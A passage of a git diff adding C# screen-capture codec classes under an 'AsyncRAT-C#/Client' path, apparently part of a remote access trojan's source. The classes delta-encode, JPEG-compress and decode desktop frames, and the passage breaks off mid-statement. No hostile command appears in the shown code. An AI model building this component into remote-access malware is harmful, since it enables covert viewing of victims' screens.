Frame + { + public decimal[,] HashBlocks { get; private set; } + + public Frame(int ImageWidth, int ImageHeight) + { + this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2]; + } + + public void AddHashBlock(int x, int y, decimal Hash) + { + x = x / UnsafeCachedStreamCodec.CheckBlock.Width; + y = y / UnsafeCachedStreamCodec.CheckBlock.Height; + this.HashBlocks[x, y] = Hash; + } + public decimal GetHashBlock(int x, int y) + { + x = x / UnsafeCachedStreamCodec.CheckBlock.Width; + y = y / UnsafeCachedStreamCodec.CheckBlock.Height; + return this.HashBlocks[x, y]; + } + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs new file mode 100644 index 0000000..b4b0b8c --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs @@ -0,0 +1,365 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.UnsafeCodecs +{ + public class UnsafeMiniCodec : IUnsafeCodec + { + public override ulong CachedSize + { + get; + internal set; + } + + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public override int BufferCount + { + get { return 1; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } + } + + private PixelFormat EncodedFormat; + private int EncodedWidth; + private int EncodedHeight; + private byte[] EncodeBuffer; + private Bitmap decodedBitmap; + + private Size CheckBlock { get { return new Size(50, 50); } } + + public UnsafeMiniCodec(int ImageQuality = 100) + : base(ImageQuality) + { + + } + + public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) + { + lock (this.ImageProcessLock) + { + byte* pScan0 = (byte*)Scan0.ToInt32(); + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + int Stride = 0; + int RawLength = 0; + int PixelSize = 0; + + FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support + switch (Format) + { + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format + " is not supported."); + } + + Stride = ImageSize.Width * PixelSize; + RawLength = Stride * ImageSize.Height; + + //first frame + if (EncodeBuffer == null) + { + this.EncodedFormat = Format; + this.EncodedWidth = ImageSize.Width; + this.EncodedHeight = ImageSize.Height; + this.EncodeBuffer = new byte[RawLength]; + fixed (byte* ptr = EncodeBuffer) + { + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) + { + temp = base.jpgCompression.Compress(TmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); + } + return; + } + + if (this.EncodedFormat != Format) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight) + throw new Exception("Scan Area Width/Height cannot be greater then the encoded image"); + + + List Blocks = new List(); //all the changes + fixed (byte* encBuffer = EncodeBuffer) + { + //1. Check for the changes in height + for (int y = ScanArea.Y; y < ScanArea.Height; y++) + { + Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width); + if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0) + { + int index = Blocks.Count - 1; + if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); + Blocks[index] = cBlock; + } + else + { + Blocks.Add(cBlock); + } + } + } + + //2. Capture all the changes using the CheckBlock + List finalUpdates = new List(); + for (int i = 0; i < Blocks.Count; i++) + { + Rectangle scanBlock = Blocks[i]; + + //go through the Blocks + for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height) + { + for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width) + { + int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x; + int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y; + Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + //scan the block from Top To Bottom and check for changes + bool FoundChanges = false; + for (int blockY = y; blockY < y + blockHeight; blockY++) + { + int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth); + if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0) + { + FoundChanges = true; + break; + } + } + + if (FoundChanges) + { + int index = finalUpdates.Count - 1; + if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) + { + Rectangle rect = finalUpdates[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + finalUpdates[index] = cBlock; + } + else + { + finalUpdates.Add(cBlock); + } + } + } + } + } + + //maybe a too hard algorithm but oh well + SortedList> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows(); + List FinalTemp = new List(); + + for (int i = 0; i < Array.Values.Count; i++) + { + FinalTemp.AddRange(Array.Values[i].Values); + } + + //fixup the height + for (int i = 0; i < FinalTemp.Count; ) + { + if (FinalTemp.Count == 1) + { + FinalTemp.Add(FinalTemp[i]); + break; + } + + if (i + 1 < FinalTemp.Count) + { + Rectangle curRect = FinalTemp[i]; + Rectangle nextRect = FinalTemp[i + 1]; + if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width) + { + FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height); + FinalTemp.RemoveAt(i + 1); + } + else + { + i++; + } + } + else + { + break; + } + } + + //copy changes to the EncodeBuffer and Process the Output + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + for (int i = 0; i < FinalTemp.Count; i++) + { + Rectangle rect = FinalTemp[i]; + int blockStride = PixelSize * rect.Width; + + //copy changes to EncodeBuffer + for (int y = rect.Y; y < rect.Y + rect.Height; y++) + { + int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width); + NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes + } + + Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + TmpBmp.UnlockBits(TmpData); + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + long length = outStream.Position; + long OldPos = outStream.Position; + base.jpgCompression.Compress(TmpBmp, ref outStream); + length = outStream.Position - length; + + outStream.Position = OldPos - 4; + outStream.Write(BitConverter.GetBytes((int)length), 0, 4); + outStream.Position += length; + TmpBmp.Dispose(); + TotalDataLength += (int)length + (4 * 5); + } + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + Blocks.Clear(); + } + } + } + + public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + if (Length < 4) + return decodedBitmap; + + int DataSize = *(int*)(CodecBuffer); + if (decodedBitmap == null) + { + byte[] temp = new byte[DataSize]; + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); + } + + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); + if (DataSize > 0) + { + Graphics g = Graphics.FromImage(decodedBitmap); + for (int i = 4; DataSize > 0; ) + { + Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), + *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); + int UpdateLen = *(int*)(bufferPtr + i + 16); + byte[] temp = new byte[UpdateLen]; + + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); + using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) + { + g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); + } + } + DataSize -= UpdateLen + (4 * 5); + i += UpdateLen + (4 * 5); + } + g.Dispose(); + } + return decodedBitmap; + } + + public override Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + List updates = new List(); + Rectangle rect; + Graphics g = Graphics.FromImage(decodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + tmp.Dispose(); + + m.Close(); + m.Dispose(); + DataSize -= UpdateLen + (4 * 5); + } + g.Dispose(); + return decodedBitmap; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs new file mode 100644 index 0000000..e4df368 --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs @@ -0,0 +1,473 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.UnsafeCodecs +{ + public class UnsafeOptimizedCodec : IUnsafeCodec + { + private class PopulairPoint + { + public Rectangle Rect; + public int Score; + public Stopwatch LastUpdate; + + public PopulairPoint(Rectangle rect) + { + this.Rect = rect; + this.Score = 0; + this.LastUpdate = Stopwatch.StartNew(); + } + } + + public override ulong CachedSize + { + get; + internal set; + } + + public override int BufferCount + { + get { return 1; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.RequireSameSize; } + } + + public Size CheckBlock { get; private set; } + private object ImageProcessLock = new object(); + private byte[] EncodeBuffer; + private Bitmap decodedBitmap; + private PixelFormat EncodedFormat; + private int EncodedWidth; + private int EncodedHeight; + private List populairPoints; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + private Stopwatch ScreenRefreshSW = Stopwatch.StartNew(); + + //options + /// If a part in the image is been changing for the last x milliseconds it will be seen as a video + public uint AliveTimeForBeingVideo = 5000; + /// This will check if the video went away or stopped playing so it will refresh the other parts in the image + public uint ScreenRefreshTimer = 2000; + /// The size for being a video, if bigger or equal to the VideoScreenSize it must be a video + public Size VideoScreenSize = new Size(100, 100); + + /// + /// Initialize a new object of UnsafeOptimizedCodec + /// + /// The quality to use between 0-100 + public UnsafeOptimizedCodec(int ImageQuality = 100) + : base(ImageQuality) + { + this.populairPoints = new List(); + this.CheckBlock = new Size(15, 1); + } + + public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) + { + lock (ImageProcessLock) + { + byte* pScan0 = (byte*)Scan0.ToInt32(); + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + int Stride = 0; + int RawLength = 0; + int PixelSize = 0; + + switch (Format) + { + case PixelFormat.Format24bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format.ToString()); + } + + Stride = ImageSize.Width * PixelSize; + RawLength = Stride * ImageSize.Height; + + if (EncodeBuffer == null) + { + this.EncodedFormat = Format; + this.EncodedWidth = ImageSize.Width; + this.EncodedHeight = ImageSize.Height; + this.EncodeBuffer = new byte[RawLength]; + fixed (byte* ptr = EncodeBuffer) + { + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) + { + temp = base.jpgCompression.Compress(TmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); + } + return; + } + + if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer) + { + for (int i = 0; i < populairPoints.Count; i++) + { + if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5) + { + populairPoints.RemoveAt(i); + } + } + ScreenRefreshSW = Stopwatch.StartNew(); + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + List updates = new List(); + MemoryStream ms = new MemoryStream(); + byte[] buffer = null; + + if (this.EncodedFormat != Format) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + + if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + + List Blocks = new List(); + int index = 0; + + Size s = new Size(ScanArea.Width, CheckBlock.Height); + Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height); + + int lasty = ScanArea.Height - lastSize.Height; + int lastx = ScanArea.Width - lastSize.Width; + + Rectangle cBlock = new Rectangle(); + List finalUpdates = new List(); + + PopulairPoint[] points = GetPossibleVideos(); + if (points.Length > 0) + { + ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y); + } + + s = new Size(ScanArea.Width, s.Height); + fixed (byte* encBuffer = EncodeBuffer) + { + if (points.Length == 0) //only scan if there is no video + { + for (int y = ScanArea.Y; y != ScanArea.Height; ) + { + if (y == lasty) + s = new Size(ScanArea.Width, lastSize.Height); + cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height); + + int offset = (y * Stride) + (ScanArea.X * PixelSize); + if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0) + { + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + index = Blocks.Count - 1; + if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); + Blocks[index] = cBlock; + } + else + { + Blocks.Add(cBlock); + } + } + y += s.Height; + } + + for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++) + { + s = new Size(CheckBlock.Width, Blocks[i].Height); + x = ScanArea.X; + while (x != ScanArea.Width) + { + if (x == lastx) + s = new Size(lastSize.Width, Blocks[i].Height); + + cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); + bool FoundChanges = false; + int blockStride = PixelSize * cBlock.Width; + + for (int j = 0; j < cBlock.Height; j++) + { + int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X); + if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0) + FoundChanges = true; + NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + } + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + if (FoundChanges) + { + index = finalUpdates.Count - 1; + if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) + { + Rectangle rect = finalUpdates[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + finalUpdates[index] = cBlock; + } + else + { + finalUpdates.Add(cBlock); + } + } + x += s.Width; + } + } + } + else + { + finalUpdates.Add(points[0].Rect); + } + } + + for (int i = 0; i < finalUpdates.Count; i++) + { + Rectangle rect = finalUpdates[i]; + int blockStride = PixelSize * rect.Width; + + Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + TmpBmp.UnlockBits(TmpData); + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + long length = outStream.Position; + long OldPos = outStream.Position; + base.jpgCompression.Compress(TmpBmp, ref outStream); + length = outStream.Position - length; + + outStream.Position = OldPos - 4; + outStream.Write(BitConverter.GetBytes((int)length), 0, 4); + outStream.Position += length; + + if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height) + { + PopulairPoint point = null; + if (GetPopulairPoint(rect, ref point)) + { + point.Score++; + point.LastUpdate = Stopwatch.StartNew(); + //Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height); + } + else + { + populairPoints.Add(new PopulairPoint(rect)); + } + } + + TmpBmp.Dispose(); + TotalDataLength += (int)length + (4 * 5); + } + + /*for (int i = 0; i < finalUpdates.Count; i++) + { + Rectangle rect = finalUpdates[i]; + int blockStride = PixelSize * rect.Width; + buffer = new byte[blockStride * rect.Height]; + + fixed (byte* ptr = buffer) + { + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + + using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr))) + { + buffer = base.jpgCompression.Compress(TmpBmp); + + if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height) + { + PopulairPoint point = null; + if (GetPopulairPoint(rect, ref point)) + { + point.Score++; + point.LastUpdate = Stopwatch.StartNew(); + Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height); + } + else + { + populairPoints.Add(new PopulairPoint(rect)); + } + } + } + } + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); + outStream.Write(buffer, 0, buffer.Length); + TotalDataLength += buffer.Length + (4 * 5); + }*/ + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + Blocks.Clear(); + ms.Close(); + ms.Dispose(); + } + } + + public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + if (Length < 4) + return decodedBitmap; + + int DataSize = *(int*)(CodecBuffer); + if (decodedBitmap == null) + { + byte[] temp = new byte[DataSize]; + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); + } + + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); + if (DataSize > 0) + { + Graphics g = Graphics.FromImage(decodedBitmap); + for (int i = 4; DataSize > 0; ) + { + Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), + *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); + int UpdateLen = *(int*)(bufferPtr + i + 16); + byte[] temp = new byte[UpdateLen]; + + fixed(byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); + using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) + { + g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); + } + } + DataSize -= UpdateLen + (4 * 5); + i += UpdateLen + (4 * 5); + } + g.Dispose(); + } + return decodedBitmap; + } + + public override Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + List updates = new List(); + Rectangle rect; + Graphics g = Graphics.FromImage(decodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + tmp.Dispose(); + + m.Close(); + m.Dispose(); + DataSize -= UpdateLen + (4 * 5); + } + g.Dispose(); + return decodedBitmap; + } + + private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint) + { + for (int i = 0; i < populairPoints.Count; i++) + { + PopulairPoint point = populairPoints[i]; + if (point.Rect.Width == rect.Width && + point.Rect.Height == rect.Height && + point.Rect.X == rect.X && + point.Rect.Y == rect.Y) + { + PopuPoint = populairPoints[i]; + return true; + } + } + return false; + } + + private PopulairPoint[] GetPossibleVideos() + { + List points = new List(); + for (int i = 0; i < populairPoints.Count; i++) + { + if (populairPoints[i].Score > 30) + { + points.Add(populairPoints[i]); + } + } + return points.ToArray(); + } + } +} diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs new file mode 100644 index 0000000..0719bd9 --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs @@ -0,0 +1,285 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.UnsafeCodecs +{ + public class UnsafeQuickStream : IUnsafeCodec + { + public override ulong CachedSize { get; internal set; } + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public override int BufferCount + { + get { return 0; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } + } + private PixelFormat EncodedFormat; + private int EncodedWidth; + private int EncodedHeight; + private ulong[] EncodeBuffer; + + private int BlockWidth = 0; + private int BlockHeight = 0; + private Bitmap decodedBitmap; + + public List VerifyPoints = null; + + public Size CheckBlock { get; private set; } + public UnsafeQuickStream(int ImageQuality = 100) + : base(ImageQuality) + { + this.CheckBlock = new Size(50, 50);//width must be bigger then 3 + } + + public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream) + { + byte* pScan0 = (byte*)Scan0.ToInt32(); + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + int Stride = 0; + int RawLength = 0; + int PixelSize = 0; + + switch (Format) + { + case PixelFormat.Format24bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format.ToString()); + } + + Stride = InputSize.Width * PixelSize; + RawLength = Stride * InputSize.Height; + + + if (EncodedWidth == 0 && EncodedHeight == 0) + { + this.EncodedFormat = Format; + this.EncodedWidth = OutputRect.Width; + this.EncodedHeight = OutputRect.Height; + + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0)) + { + temp = base.jpgCompression.Compress(TmpBmp); + } + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + return; + } + + List Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width); + + VerifyPoints = Points; + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + for (int i = 0; i < Points.Count; i++) + { + Rectangle rect = Points[i]; + int blockStride = PixelSize * rect.Width; + + Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + TmpBmp.UnlockBits(TmpData); + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + long length = outStream.Position; + long OldPos = outStream.Position; + base.jpgCompression.Compress(TmpBmp, ref outStream); + length = outStream.Position - length; + + outStream.Position = OldPos - 4; + outStream.Write(BitConverter.GetBytes((int)length), 0, 4); + outStream.Position += length; + + TmpBmp.Dispose(); + TotalDataLength += (int)length + (4 * 5); + } + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + } + + private unsafe List ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth) + { + if (EncodeBuffer == null) + { + this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width)); + this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height)); + int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth)); + this.EncodeBuffer = new ulong[TotalBlocks]; + } + + List points = new List(); + int StartScan = Scan0.ToInt32(); + + for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height) + { + if (y + CheckBlock.Height > OutputRect.Height) + break; + + for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width) + { + if (x + CheckBlock.Width > OutputRect.Width) + break; + + int EncodeOffset = GetOffset(x, y); + long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth); + ulong* ScanPtr = (ulong*)(StartScan + offset); + + if (EncodeBuffer[EncodeOffset] != *ScanPtr) + { + EncodeBuffer[EncodeOffset] = *ScanPtr; + + Rectangle cBlock = new 